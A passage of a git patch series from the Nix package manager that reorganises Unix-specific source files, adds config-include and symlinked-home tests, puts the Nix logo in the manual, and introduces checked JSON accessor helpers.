+++ b/src/libutil/unix/users.cc @@ -0,0 +1,66 @@ +#include "util.hh" +#include "users.hh" +#include "environment-variables.hh" +#include "file-system.hh" + +#include +#include +#include + +namespace nix { + +std::string getUserName() +{ + auto pw = getpwuid(geteuid()); + std::string name = pw ? pw->pw_name : getEnv("USER").value_or(""); + if (name.empty()) + throw Error("cannot figure out user name"); + return name; +} + +Path getHomeOf(uid_t userId) +{ + std::vector buf(16384); + struct passwd pwbuf; + struct passwd * pw; + if (getpwuid_r(userId, &pwbuf, buf.data(), buf.size(), &pw) != 0 + || !pw || !pw->pw_dir || !pw->pw_dir[0]) + throw Error("cannot determine user's home directory"); + return pw->pw_dir; +} + +Path getHome() +{ + static Path homeDir = []() + { + std::optional unownedUserHomeDir = {}; + auto homeDir = getEnv("HOME"); + if (homeDir) { + // Only use $HOME if doesn't exist or is owned by the current user. + struct stat st; + int result = stat(homeDir->c_str(), &st); + if (result != 0) { + if (errno != ENOENT) { + warn("couldn't stat $HOME ('%s') for reason other than not existing ('%d'), falling back to the one defined in the 'passwd' file", *homeDir, errno); + homeDir.reset(); + } + } else if (st.st_uid != geteuid()) { + unownedUserHomeDir.swap(homeDir); + } + } + if (!homeDir) { + homeDir = getHomeOf(geteuid()); + if (unownedUserHomeDir.has_value() && unownedUserHomeDir != homeDir) { + warn("$HOME ('%s') is not owned by you, falling back to the one defined in the 'passwd' file ('%s')", *unownedUserHomeDir, *homeDir); + } + } + return *homeDir; + }(); + return homeDir; +} + +bool isRootUser() { + return getuid() == 0; +} + +} diff --git a/src/libutil/users.cc b/src/libutil/users.cc index 8cb3db434..d546e364f 100644 --- a/src/libutil/users.cc +++ b/src/libutil/users.cc @@ -3,63 +3,8 @@ #include "environment-variables.hh" #include "file-system.hh" -#include -#include -#include - namespace nix { -std::string getUserName() -{ - auto pw = getpwuid(geteuid()); - std::string name = pw ? pw->pw_name : getEnv("USER").value_or(""); - if (name.empty()) - throw Error("cannot figure out user name"); - return name; -} - -Path getHomeOf(uid_t userId) -{ - std::vector buf(16384); - struct passwd pwbuf; - struct passwd * pw; - if (getpwuid_r(userId, &pwbuf, buf.data(), buf.size(), &pw) != 0 - || !pw || !pw->pw_dir || !pw->pw_dir[0]) - throw Error("cannot determine user's home directory"); - return pw->pw_dir; -} - -Path getHome() -{ - static Path homeDir = []() - { - std::optional unownedUserHomeDir = {}; - auto homeDir = getEnv("HOME"); - if (homeDir) { - // Only use $HOME if doesn't exist or is owned by the current user. - struct stat st; - int result = stat(homeDir->c_str(), &st); - if (result != 0) { - if (errno != ENOENT) { - warn("couldn't stat $HOME ('%s') for reason other than not existing ('%d'), falling back to the one defined in the 'passwd' file", *homeDir, errno); - homeDir.reset(); - } - } else if (st.st_uid != geteuid()) { - unownedUserHomeDir.swap(homeDir); - } - } - if (!homeDir) { - homeDir = getHomeOf(geteuid()); - if (unownedUserHomeDir.has_value() && unownedUserHomeDir != homeDir) { - warn("$HOME ('%s') is not owned by you, falling back to the one defined in the 'passwd' file ('%s')", *unownedUserHomeDir, *homeDir); - } - } - return *homeDir; - }(); - return homeDir; -} - - Path getCacheDir() { auto cacheDir = getEnv("XDG_CACHE_HOME"); @@ -113,9 +58,4 @@ std::string expandTilde(std::string_view path) return std::string(path); } - -bool isRootUser() { - return getuid() == 0; -} - } diff --git a/src/libutil/util.cc b/src/libutil/util.cc index 06124bf15..103ce4232 100644 --- a/src/libutil/util.cc +++ b/src/libutil/util.cc @@ -4,7 +4,6 @@ #include #include #include -#include #include #include diff --git a/src/nix/main.cc b/src/nix/main.cc index 36256f3d0..25f81e48b 100644 --- a/src/nix/main.cc +++ b/src/nix/main.cc @@ -2,7 +2,6 @@ #include "args/root.hh" #include "current-process.hh" -#include "namespaces.hh" #include "command.hh" #include "common-args.hh" #include "eval.hh" @@ -27,6 +26,10 @@ #include +#if __linux__ +# include "namespaces.hh" +#endif + extern std::string chrootHelperName; void chrootHelper(int argc, char * * argv); diff --git a/src/nix/daemon.cc b/src/nix/unix/daemon.cc similarity index 100% rename from src/nix/daemon.cc rename to src/nix/unix/daemon.cc diff --git a/src/nix/daemon.md b/src/nix/unix/daemon.md similarity index 100% rename from src/nix/daemon.md rename to src/nix/unix/daemon.md diff --git a/src/nix/fmt.cc b/src/nix/unix/fmt.cc similarity index 100% rename from src/nix/fmt.cc rename to src/nix/unix/fmt.cc diff --git a/src/nix/fmt.md b/src/nix/unix/fmt.md similarity index 100% rename from src/nix/fmt.md rename to src/nix/unix/fmt.md diff --git a/src/nix/run.cc b/src/nix/unix/run.cc similarity index 100% rename from src/nix/run.cc rename to src/nix/unix/run.cc diff --git a/src/nix/run.hh b/src/nix/unix/run.hh similarity index 100% rename from src/nix/run.hh rename to src/nix/unix/run.hh diff --git a/src/nix/run.md b/src/nix/unix/run.md similarity index 100% rename from src/nix/run.md rename to src/nix/unix/run.md diff --git a/src/nix/upgrade-nix.cc b/src/nix/unix/upgrade-nix.cc similarity index 100% rename from src/nix/upgrade-nix.cc rename to src/nix/unix/upgrade-nix.cc diff --git a/src/nix/upgrade-nix.md b/src/nix/unix/upgrade-nix.md similarity index 100% rename from src/nix/upgrade-nix.md rename to src/nix/unix/upgrade-nix.md From ba0bd8fae63e4f38cd735d8586f86a7a6e7b363a Mon Sep 17 00:00:00 2001 From: Cameron Dart Date: Tue, 2 Apr 2024 18:10:36 -0700 Subject: [PATCH 0393/1251] Add functional tests for include directive in nix config file --- tests/functional/config.sh | 12 +++++++++++- tests/functional/config/extra-config.conf | 1 + tests/functional/config/nix-with-bang-include.conf | 2 ++ tests/functional/config/nix-with-include.conf | 2 ++ 4 files changed, 16 insertions(+), 1 deletion(-) create mode 100644 tests/functional/config/extra-config.conf create mode 100644 tests/functional/config/nix-with-bang-include.conf create mode 100644 tests/functional/config/nix-with-include.conf diff --git a/tests/functional/config.sh b/tests/functional/config.sh index 324fe95bd..efdf2a958 100644 --- a/tests/functional/config.sh +++ b/tests/functional/config.sh @@ -43,6 +43,16 @@ export NIX_USER_CONF_FILES=$here/config/nix-with-substituters.conf var=$(nix config show | grep '^substituters =' | cut -d '=' -f 2 | xargs) [[ $var == https://example.com ]] +# Test that we can include a file. +export NIX_USER_CONF_FILES=$here/config/nix-with-include.conf +var=$(nix config show | grep '^allowed-uris =' | cut -d '=' -f 2 | xargs) +[[ $var == https://github.com/NixOS/nix ]] + +# Test that we can !include a file. +export NIX_USER_CONF_FILES=$here/config/nix-with-bang-include.conf +var=$(nix config show | grep '^experimental-features =' | cut -d '=' -f 2 | xargs) +[[ $var == nix-command ]] + # Test that it's possible to load config from the environment prev=$(nix config show | grep '^cores' | cut -d '=' -f 2 | xargs) export NIX_CONFIG="cores = 4242"$'\n'"experimental-features = nix-command flakes" @@ -56,4 +66,4 @@ exp_features=$(nix config show | grep '^experimental-features' | cut -d '=' -f 2 # Test that it's possible to retrieve a single setting's value val=$(nix config show | grep '^warn-dirty' | cut -d '=' -f 2 | xargs) val2=$(nix config show warn-dirty) -[[ $val == $val2 ]] +[[ $val == $val2 ]] \ No newline at end of file diff --git a/tests/functional/config/extra-config.conf b/tests/functional/config/extra-config.conf new file mode 100644 index 000000000..d110f06e4 --- /dev/null +++ b/tests/functional/config/extra-config.conf @@ -0,0 +1 @@ +allowed-uris = https://github.com/NixOS/nix \ No newline at end of file diff --git a/tests/functional/config/nix-with-bang-include.conf b/tests/functional/config/nix-with-bang-include.conf new file mode 100644 index 000000000..fa600e6ff --- /dev/null +++ b/tests/functional/config/nix-with-bang-include.conf @@ -0,0 +1,2 @@ +experimental-features = nix-command +!include ./missing-extra-config.conf \ No newline at end of file diff --git a/tests/functional/config/nix-with-include.conf b/tests/functional/config/nix-with-include.conf new file mode 100644 index 000000000..17b8958ba --- /dev/null +++ b/tests/functional/config/nix-with-include.conf @@ -0,0 +1,2 @@ +experimental-features = nix-command +include ./extra-config.conf \ No newline at end of file From 8d84de455e53e1cd503f8618ed90ef4b01dfc9ef Mon Sep 17 00:00:00 2001 From: Tharun T Date: Wed, 3 Apr 2024 08:26:42 +0530 Subject: [PATCH 0394/1251] outputSpecified doesnt exit in top attr-set --- tests/functional/flakes/build-paths.sh | 25 +++++++++++++++---------- 1 file changed, 15 insertions(+), 10 deletions(-) diff --git a/tests/functional/flakes/build-paths.sh b/tests/functional/flakes/build-paths.sh index 98827947d..4e5c68095 100644 --- a/tests/functional/flakes/build-paths.sh +++ b/tests/functional/flakes/build-paths.sh @@ -57,16 +57,21 @@ cat > $flake1Dir/flake.nix < \$foo/file - echo "out" > \$out/file - ''; - outputSpecified = true; + a14 = with import ./config.nix; let + top = mkDerivation { + name = "dot-installable"; + outputs = [ "foo" "out" ]; + meta.outputsToInstall = [ "out" ]; + buildCommand = '' + mkdir \$foo \$out + echo "foo" > \$foo/file + echo "out" > \$out/file + ''; + }; + in top // { + foo = top.foo // { + outputSpecified = true; + }; }; }; } From 59597628cb5841cbefc38accd89e7eda663551a1 Mon Sep 17 00:00:00 2001 From: Valentin Gagarin Date: Wed, 3 Apr 2024 16:22:47 +0200 Subject: [PATCH 0395/1251] show Nix logo in the manual (#9870) * show Nix logo in the manual the location of files is hard-coded by mdBook. there is also seems to be no way to define custom templates, therefore all styling has to be done in the CSS override. Co-authored-by: Robert Hensing --- doc/manual/custom.css | 22 ++++++++++++++++++++++ doc/manual/local.mk | 2 +- doc/manual/src/favicon.png | Bin 0 -> 1205 bytes doc/manual/src/favicon.svg | 1 + 4 files changed, 24 insertions(+), 1 deletion(-) create mode 100644 doc/manual/src/favicon.png create mode 100644 doc/manual/src/favicon.svg diff --git a/doc/manual/custom.css b/doc/manual/custom.css index b90f5423f..9e8e3886f 100644 --- a/doc/manual/custom.css +++ b/doc/manual/custom.css @@ -1,3 +1,25 @@ +:root { + --sidebar-width: 23em; +} + +h1.menu-title::before { + content: ""; + background-image: url("./favicon.svg"); + padding: 1.25em; + background-position: center center; + background-size: 2em; + background-repeat: no-repeat; +} + + +h1.menu-title { + padding: 0.5em; +} + +.sidebar .sidebar-scrollbox { + padding: 1em; +} + h1:not(:first-of-type) { margin-top: 1.3em; } diff --git a/doc/manual/local.mk b/doc/manual/local.mk index 698a9289b..71ad5c8e6 100644 --- a/doc/manual/local.mk +++ b/doc/manual/local.mk @@ -217,7 +217,7 @@ doc/manual/generated/man1/nix3-manpages: $(d)/src/command-ref/new-cli # `@docroot@` is to be preserved for documenting the mechanism # FIXME: maybe contributing guides should live right next to the code # instead of in the manual -$(docdir)/manual/index.html: $(MANUAL_SRCS) $(d)/book.toml $(d)/anchors.jq $(d)/custom.css $(d)/src/SUMMARY.md $(d)/src/store/types $(d)/src/command-ref/new-cli $(d)/src/contributing/experimental-feature-descriptions.md $(d)/src/command-ref/conf-file.md $(d)/src/language/builtins.md $(d)/src/language/builtin-constants.md $(d)/src/release-notes/rl-next.md +$(docdir)/manual/index.html: $(MANUAL_SRCS) $(d)/book.toml $(d)/anchors.jq $(d)/custom.css $(d)/src/SUMMARY.md $(d)/src/store/types $(d)/src/command-ref/new-cli $(d)/src/contributing/experimental-feature-descriptions.md $(d)/src/command-ref/conf-file.md $(d)/src/language/builtins.md $(d)/src/language/builtin-constants.md $(d)/src/release-notes/rl-next.md $(d)/src/figures $(d)/src/favicon.png $(d)/src/favicon.svg $(trace-gen) \ tmp="$$(mktemp -d)"; \ cp -r doc/manual "$$tmp"; \ diff --git a/doc/manual/src/favicon.png b/doc/manual/src/favicon.png new file mode 100644 index 0000000000000000000000000000000000000000..1ed2b5fe0fdf7a6144adc5cdfa31b5f553df4610 GIT binary patch literal 1205 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!63?wyl`GbL!Lb6AYF9SoB8UsT^3j@P1pisjL z28L1t28LG&3=CE?7#PG0=IjczVPIf#2=EDU1u6(CKb+Wiwr=O+;uW{c*4&A1Jrz{8 z)4ynQ?dJPcYwy%;xnI8WmUr$t-~6qfnQMIVwv;WuQL*Yq-L5CatL}tUABt^18CZ5O zZ{c;IIY350$$p>|3flP?CbiEsc~jS!_w~D@-8-UT(J^iW{g;gG5$d2=oUQB>1m z@0`tUsjG?>Uj}-le#`xk$|De!wc8%H9(?})|Nq7v4}s!!o9``u`G4xw?{%B*m9M-R zQVF#5P*BAYs3W&O0$NnJ^+EmC2f#3iZ95)VdI0Dcpiyv-WY0P0p1#T_Z>w*?cE6%s z0mXX*O7{cRz=NWC>%+j(ZC*JW9phIsFhqD|Z2-E>D|<5oL#Aiu_JGoT5S2AM9(m_% z^2y&CR-T^|Z`YHa^B;WkcK|~ywEAG>n%i}o z?*m;33^cfn5C+gCK-VVsovq)Bq973HJg^IaA?BI2x8vB0x*d-|{@wK?2;{Xx@L&gd z6Br#}DWLg41A!_7O7;R1&jO{3!1TqiyCldDl>V>-|M%V{f8t%=1*kvR${~LK!l5U+ zE;&bk_oXlWQ^n1wc;Wk}FW#{_g-;-%DvtP?D4mF z3v@eUlDE4HLkFv@2av;A;1O92%udl*pgo2QFoh{WaOgaa%+lY%b!7;P&0 z#MO01K~H({q)lC`X638PfeR-pwsWptDH(9!&Y?@EZXLUJ?%u(R zCvUb+Y&?7Q?A^ncPv1U%{k*+`LB~Wz3l$R`8>LBem9?zY%+A@&Q&cq6v{aosxqG&{ zZmqvtnwWE$-@AKzYU1qb8k-I+dNe7hZPTZ&Q>$J{IWD}l>sQ;cWoc{=r(N6jt?%5r zck}M;`^PElD$%0uJI|=}))z_R^t1Df!;|M3G=KQRx`_L`Zq%NXmz(B1)oy8II+Uax zzII#0=CZrLc%@q#nRs{}%{I%wxhr?~k-oXRTQ>fXWq5hY \ No newline at end of file From 09551fabd092fe26d6b6a13417502a514fbd78b3 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Wed, 3 Apr 2024 15:28:13 +0200 Subject: [PATCH 0396/1251] Handle the case where a parent of ~/.nix-defexpr is a symlink Fixes https://github.com/DeterminateSystems/nix-installer/issues/912 and probably #10247. --- src/nix-env/nix-env.cc | 2 +- tests/functional/user-envs.sh | 6 ++++++ 2 files changed, 7 insertions(+), 1 deletion(-) diff --git a/src/nix-env/nix-env.cc b/src/nix-env/nix-env.cc index 177344044..1cc33558f 100644 --- a/src/nix-env/nix-env.cc +++ b/src/nix-env/nix-env.cc @@ -109,7 +109,7 @@ static void getAllExprs(EvalState & state, const SourcePath & path, StringSet & seen, BindingsBuilder & attrs) { StringSet namesSorted; - for (auto & [name, _] : path.readDirectory()) namesSorted.insert(name); + for (auto & [name, _] : path.resolveSymlinks().readDirectory()) namesSorted.insert(name); for (auto & i : namesSorted) { /* Ignore the manifest.nix used by profiles. This is diff --git a/tests/functional/user-envs.sh b/tests/functional/user-envs.sh index dcd6b1b97..7c643f355 100644 --- a/tests/functional/user-envs.sh +++ b/tests/functional/user-envs.sh @@ -189,3 +189,9 @@ nix-env --set $outPath10 [ "$(nix-store -q --resolve $profiles/test)" = $outPath10 ] nix-env --set $drvPath10 [ "$(nix-store -q --resolve $profiles/test)" = $outPath10 ] + +# Test the case where $HOME contains a symlink. +mkdir -p $TEST_ROOT/real-home/alice/.nix-defexpr/channels +ln -sfn $TEST_ROOT/real-home $TEST_ROOT/home +ln -sfn $(pwd)/user-envs.nix $TEST_ROOT/home/alice/.nix-defexpr/channels/foo +HOME=$TEST_ROOT/home/alice nix-env -i foo-0.1 From 50cb14fcf9be3568b36d3bc16f3c12153022da99 Mon Sep 17 00:00:00 2001 From: HaeNoe <57222371+haenoe@users.noreply.github.com> Date: Wed, 3 Apr 2024 20:04:00 +0200 Subject: [PATCH 0397/1251] Improve checked json casting (#10087) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit This introduces new utility functions to get elements from JSON — in an ergonomic way and with nice error messages if the expected type does not match. Co-authored-by: John Ericson --- .gitignore | 3 + Makefile | 1 + src/libfetchers/unix/git.cc | 9 ++- src/libstore/derivations.cc | 45 +++++------- src/libstore/nar-info.cc | 9 +-- src/libstore/path-info.cc | 27 +++---- src/libutil/json-utils.cc | 104 ++++++++++++++++++++++++-- src/libutil/json-utils.hh | 31 +++++--- tests/unit/libfetchers/local.mk | 32 ++++++++ tests/unit/libfetchers/public-key.cc | 18 +++++ tests/unit/libutil/json-utils.cc | 105 +++++++++++++++++++++++++++ 11 files changed, 315 insertions(+), 69 deletions(-) create mode 100644 tests/unit/libfetchers/local.mk create mode 100644 tests/unit/libfetchers/public-key.cc diff --git a/.gitignore b/.gitignore index 01fafa5a9..5a33c00ea 100644 --- a/.gitignore +++ b/.gitignore @@ -49,6 +49,9 @@ perl/Makefile.config /src/libexpr/tests /tests/unit/libexpr/libnixexpr-tests +# /src/libfetchers +/tests/unit/libfetchers/libnixfetchers-tests + # /src/libstore/ *.gen.* /src/libstore/tests diff --git a/Makefile b/Makefile index c3dc83c77..a33b8c458 100644 --- a/Makefile +++ b/Makefile @@ -34,6 +34,7 @@ makefiles += \ tests/unit/libutil-support/local.mk \ tests/unit/libstore/local.mk \ tests/unit/libstore-support/local.mk \ + tests/unit/libfetchers/local.mk \ tests/unit/libexpr/local.mk \ tests/unit/libexpr-support/local.mk endif diff --git a/src/libfetchers/unix/git.cc b/src/libfetchers/unix/git.cc index 34cfd3f5b..0966c4710 100644 --- a/src/libfetchers/unix/git.cc +++ b/src/libfetchers/unix/git.cc @@ -147,9 +147,12 @@ std::vector getPublicKeys(const Attrs & attrs) { std::vector publicKeys; if (attrs.contains("publicKeys")) { - nlohmann::json publicKeysJson = nlohmann::json::parse(getStrAttr(attrs, "publicKeys")); - ensureType(publicKeysJson, nlohmann::json::value_t::array); - publicKeys = publicKeysJson.get>(); + auto pubKeysJson = nlohmann::json::parse(getStrAttr(attrs, "publicKeys")); + auto & pubKeys = getArray(pubKeysJson); + + for (auto & key : pubKeys) { + publicKeys.push_back(key); + } } if (attrs.contains("publicKey")) publicKeys.push_back(PublicKey{maybeGetStrAttr(attrs, "keytype").value_or("ssh-ed25519"),getStrAttr(attrs, "publicKey")}); diff --git a/src/libstore/derivations.cc b/src/libstore/derivations.cc index df14e979f..fcf813a37 100644 --- a/src/libstore/derivations.cc +++ b/src/libstore/derivations.cc @@ -1239,16 +1239,14 @@ DerivationOutput DerivationOutput::fromJSON( const ExperimentalFeatureSettings & xpSettings) { std::set keys; - ensureType(_json, nlohmann::detail::value_t::object); - auto json = (std::map) _json; + auto & json = getObject(_json); for (const auto & [key, _] : json) keys.insert(key); auto methodAlgo = [&]() -> std::pair { - std::string hashAlgoStr = json["hashAlgo"]; - // remaining to parse, will be mutated by parsers - std::string_view s = hashAlgoStr; + auto & str = getString(valueAt(json, "hashAlgo")); + std::string_view s = str; ContentAddressMethod method = ContentAddressMethod::parsePrefix(s); if (method == TextIngestionMethod {}) xpSettings.require(Xp::DynamicDerivations); @@ -1258,7 +1256,7 @@ DerivationOutput DerivationOutput::fromJSON( if (keys == (std::set { "path" })) { return DerivationOutput::InputAddressed { - .path = store.parseStorePath((std::string) json["path"]), + .path = store.parseStorePath(getString(valueAt(json, "path"))), }; } @@ -1267,10 +1265,10 @@ DerivationOutput DerivationOutput::fromJSON( auto dof = DerivationOutput::CAFixed { .ca = ContentAddress { .method = std::move(method), - .hash = Hash::parseNonSRIUnprefixed((std::string) json["hash"], hashAlgo), + .hash = Hash::parseNonSRIUnprefixed(getString(valueAt(json, "hash")), hashAlgo), }, }; - if (dof.path(store, drvName, outputName) != store.parseStorePath((std::string) json["path"])) + if (dof.path(store, drvName, outputName) != store.parseStorePath(getString(valueAt(json, "path")))) throw Error("Path doesn't match derivation output"); return dof; } @@ -1357,20 +1355,19 @@ nlohmann::json Derivation::toJSON(const StoreDirConfig & store) const Derivation Derivation::fromJSON( const StoreDirConfig & store, - const nlohmann::json & json, + const nlohmann::json & _json, const ExperimentalFeatureSettings & xpSettings) { using nlohmann::detail::value_t; Derivation res; - ensureType(json, value_t::object); + auto & json = getObject(_json); - res.name = ensureType(valueAt(json, "name"), value_t::string); + res.name = getString(valueAt(json, "name")); try { - auto & outputsObj = ensureType(valueAt(json, "outputs"), value_t::object); - for (auto & [outputName, output] : outputsObj.items()) { + for (auto & [outputName, output] : getObject(valueAt(json, "outputs"))) { res.outputs.insert_or_assign( outputName, DerivationOutput::fromJSON(store, res.name, outputName, output)); @@ -1381,8 +1378,7 @@ Derivation Derivation::fromJSON( } try { - auto & inputsList = ensureType(valueAt(json, "inputSrcs"), value_t::array); - for (auto & input : inputsList) + for (auto & input : getArray(valueAt(json, "inputSrcs"))) res.inputSrcs.insert(store.parseStorePath(static_cast(input))); } catch (Error & e) { e.addTrace({}, "while reading key 'inputSrcs'"); @@ -1391,18 +1387,17 @@ Derivation Derivation::fromJSON( try { std::function::ChildNode(const nlohmann::json &)> doInput; - doInput = [&](const auto & json) { + doInput = [&](const auto & _json) { + auto & json = getObject(_json); DerivedPathMap::ChildNode node; - node.value = static_cast( - ensureType(valueAt(json, "outputs"), value_t::array)); - for (auto & [outputId, childNode] : ensureType(valueAt(json, "dynamicOutputs"), value_t::object).items()) { + node.value = getStringSet(valueAt(json, "outputs")); + for (auto & [outputId, childNode] : getObject(valueAt(json, "dynamicOutputs"))) { xpSettings.require(Xp::DynamicDerivations); node.childMap[outputId] = doInput(childNode); } return node; }; - auto & inputDrvsObj = ensureType(valueAt(json, "inputDrvs"), value_t::object); - for (auto & [inputDrvPath, inputOutputs] : inputDrvsObj.items()) + for (auto & [inputDrvPath, inputOutputs] : getObject(valueAt(json, "inputDrvs"))) res.inputDrvs.map[store.parseStorePath(inputDrvPath)] = doInput(inputOutputs); } catch (Error & e) { @@ -1410,10 +1405,10 @@ Derivation Derivation::fromJSON( throw; } - res.platform = ensureType(valueAt(json, "system"), value_t::string); - res.builder = ensureType(valueAt(json, "builder"), value_t::string); - res.args = ensureType(valueAt(json, "args"), value_t::array); - res.env = ensureType(valueAt(json, "env"), value_t::object); + res.platform = getString(valueAt(json, "system")); + res.builder = getString(valueAt(json, "builder")); + res.args = getStringList(valueAt(json, "args")); + res.env = getStringMap(valueAt(json, "env")); return res; } diff --git a/src/libstore/nar-info.cc b/src/libstore/nar-info.cc index d9618d04c..0d219a489 100644 --- a/src/libstore/nar-info.cc +++ b/src/libstore/nar-info.cc @@ -172,19 +172,18 @@ NarInfo NarInfo::fromJSON( }; if (json.contains("url")) - res.url = ensureType(valueAt(json, "url"), value_t::string); + res.url = getString(valueAt(json, "url")); if (json.contains("compression")) - res.compression = ensureType(valueAt(json, "compression"), value_t::string); + res.compression = getString(valueAt(json, "compression")); if (json.contains("downloadHash")) res.fileHash = Hash::parseAny( - static_cast( - ensureType(valueAt(json, "downloadHash"), value_t::string)), + getString(valueAt(json, "downloadHash")), std::nullopt); if (json.contains("downloadSize")) - res.fileSize = ensureType(valueAt(json, "downloadSize"), value_t::number_integer); + res.fileSize = getInteger(valueAt(json, "downloadSize")); return res; } diff --git a/src/libstore/path-info.cc b/src/libstore/path-info.cc index d82ccd0c9..6523cb425 100644 --- a/src/libstore/path-info.cc +++ b/src/libstore/path-info.cc @@ -190,23 +190,18 @@ nlohmann::json UnkeyedValidPathInfo::toJSON( UnkeyedValidPathInfo UnkeyedValidPathInfo::fromJSON( const Store & store, - const nlohmann::json & json) + const nlohmann::json & _json) { - using nlohmann::detail::value_t; - UnkeyedValidPathInfo res { Hash(Hash::dummy), }; - ensureType(json, value_t::object); - res.narHash = Hash::parseAny( - static_cast( - ensureType(valueAt(json, "narHash"), value_t::string)), - std::nullopt); - res.narSize = ensureType(valueAt(json, "narSize"), value_t::number_integer); + auto & json = getObject(_json); + res.narHash = Hash::parseAny(getString(valueAt(json, "narHash")), std::nullopt); + res.narSize = getInteger(valueAt(json, "narSize")); try { - auto & references = ensureType(valueAt(json, "references"), value_t::array); + auto references = getStringList(valueAt(json, "references")); for (auto & input : references) res.references.insert(store.parseStorePath(static_cast (input))); @@ -216,20 +211,16 @@ UnkeyedValidPathInfo UnkeyedValidPathInfo::fromJSON( } if (json.contains("ca")) - res.ca = ContentAddress::parse( - static_cast( - ensureType(valueAt(json, "ca"), value_t::string))); + res.ca = ContentAddress::parse(getString(valueAt(json, "ca"))); if (json.contains("deriver")) - res.deriver = store.parseStorePath( - static_cast( - ensureType(valueAt(json, "deriver"), value_t::string))); + res.deriver = store.parseStorePath(getString(valueAt(json, "deriver"))); if (json.contains("registrationTime")) - res.registrationTime = ensureType(valueAt(json, "registrationTime"), value_t::number_integer); + res.registrationTime = getInteger(valueAt(json, "registrationTime")); if (json.contains("ultimate")) - res.ultimate = ensureType(valueAt(json, "ultimate"), value_t::boolean); + res.ultimate = getBoolean(valueAt(json, "ultimate")); if (json.contains("signatures")) res.sigs = valueAt(json, "signatures"); diff --git a/src/libutil/json-utils.cc b/src/libutil/json-utils.cc index 61cef743d..7a7264a9a 100644 --- a/src/libutil/json-utils.cc +++ b/src/libutil/json-utils.cc @@ -1,5 +1,8 @@ #include "json-utils.hh" #include "error.hh" +#include "types.hh" +#include +#include namespace nix { @@ -18,26 +21,115 @@ nlohmann::json * get(nlohmann::json & map, const std::string & key) } const nlohmann::json & valueAt( - const nlohmann::json & map, + const nlohmann::json::object_t & map, const std::string & key) { if (!map.contains(key)) - throw Error("Expected JSON object to contain key '%s' but it doesn't", key); + throw Error("Expected JSON object to contain key '%s' but it doesn't: %s", key, nlohmann::json(map).dump()); - return map[key]; + return map.at(key); } -const nlohmann::json & ensureType( +std::optional optionalValueAt(const nlohmann::json & value, const std::string & key) +{ + try { + auto & v = valueAt(value, key); + return v.get(); + } catch (...) { + return std::nullopt; + } +} + + +std::optional getNullable(const nlohmann::json & value) +{ + if (value.is_null()) + return std::nullopt; + + return value.get(); +} + +/** + * Ensure the type of a JSON object is what you expect, failing with a + * ensure type if it isn't. + * + * Use before type conversions and element access to avoid ugly + * exceptions, but only part of this module to define the other `get*` + * functions. It is too cumbersome and easy to forget to expect regular + * JSON code to use it directly. + */ +static const nlohmann::json & ensureType( const nlohmann::json & value, nlohmann::json::value_type expectedType ) { if (value.type() != expectedType) throw Error( - "Expected JSON value to be of type '%s' but it is of type '%s'", + "Expected JSON value to be of type '%s' but it is of type '%s': %s", nlohmann::json(expectedType).type_name(), - value.type_name()); + value.type_name(), value.dump()); return value; } + +const nlohmann::json::object_t & getObject(const nlohmann::json & value) +{ + return ensureType(value, nlohmann::json::value_t::object).get_ref(); +} + +const nlohmann::json::array_t & getArray(const nlohmann::json & value) +{ + return ensureType(value, nlohmann::json::value_t::array).get_ref(); +} + +const nlohmann::json::string_t & getString(const nlohmann::json & value) +{ + return ensureType(value, nlohmann::json::value_t::string).get_ref(); +} + +const nlohmann::json::number_integer_t & getInteger(const nlohmann::json & value) +{ + return ensureType(value, nlohmann::json::value_t::number_integer).get_ref(); +} + +const nlohmann::json::boolean_t & getBoolean(const nlohmann::json & value) +{ + return ensureType(value, nlohmann::json::value_t::boolean).get_ref(); +} + +Strings getStringList(const nlohmann::json & value) +{ + auto & jsonArray = getArray(value); + + Strings stringList; + + for (const auto & elem : jsonArray) + stringList.push_back(getString(elem)); + + return stringList; +} + +StringMap getStringMap(const nlohmann::json & value) +{ + auto & jsonObject = getObject(value); + + StringMap stringMap; + + for (const auto & [key, value] : jsonObject) + stringMap[getString(key)] = getString(value); + + return stringMap; +} + +StringSet getStringSet(const nlohmann::json & value) +{ + auto & jsonArray = getArray(value); + + StringSet stringSet; + + for (const auto & elem : jsonArray) + stringSet.insert(getString(elem)); + + return stringSet; +} } diff --git a/src/libutil/json-utils.hh b/src/libutil/json-utils.hh index 06dd80cf7..2024624f4 100644 --- a/src/libutil/json-utils.hh +++ b/src/libutil/json-utils.hh @@ -3,6 +3,9 @@ #include #include +#include + +#include "types.hh" namespace nix { @@ -11,26 +14,30 @@ const nlohmann::json * get(const nlohmann::json & map, const std::string & key); nlohmann::json * get(nlohmann::json & map, const std::string & key); /** - * Get the value of a json object at a key safely, failing - * with a Nix Error if the key does not exist. + * Get the value of a json object at a key safely, failing with a nice + * error if the key does not exist. * * Use instead of nlohmann::json::at() to avoid ugly exceptions. - * - * _Does not check whether `map` is an object_, use `ensureType` for that. */ const nlohmann::json & valueAt( - const nlohmann::json & map, + const nlohmann::json::object_t & map, const std::string & key); +std::optional optionalValueAt(const nlohmann::json & value, const std::string & key); + /** - * Ensure the type of a json object is what you expect, failing - * with a Nix Error if it isn't. - * - * Use before type conversions and element access to avoid ugly exceptions. + * Downcast the json object, failing with a nice error if the conversion fails. + * See https://json.nlohmann.me/features/types/ */ -const nlohmann::json & ensureType( - const nlohmann::json & value, - nlohmann::json::value_type expectedType); +std::optional getNullable(const nlohmann::json & value); +const nlohmann::json::object_t & getObject(const nlohmann::json & value); +const nlohmann::json::array_t & getArray(const nlohmann::json & value); +const nlohmann::json::string_t & getString(const nlohmann::json & value); +const nlohmann::json::number_integer_t & getInteger(const nlohmann::json & value); +const nlohmann::json::boolean_t & getBoolean(const nlohmann::json & value); +Strings getStringList(const nlohmann::json & value); +StringMap getStringMap(const nlohmann::json & value); +StringSet getStringSet(const nlohmann::json & value); /** * For `adl_serializer>` below, we need to track what diff --git a/tests/unit/libfetchers/local.mk b/tests/unit/libfetchers/local.mk new file mode 100644 index 000000000..e9f659fd7 --- /dev/null +++ b/tests/unit/libfetchers/local.mk @@ -0,0 +1,32 @@ +check: libfetchers-tests_RUN + +programs += libfetchers-tests + +libfetchers-tests_NAME = libnixfetchers-tests + +libfetchers-tests_ENV := _NIX_TEST_UNIT_DATA=$(d)/data + +libfetchers-tests_DIR := $(d) + +ifeq ($(INSTALL_UNIT_TESTS), yes) + libfetchers-tests_INSTALL_DIR := $(checkbindir) +else + libfetchers-tests_INSTALL_DIR := +endif + +libfetchers-tests_SOURCES := $(wildcard 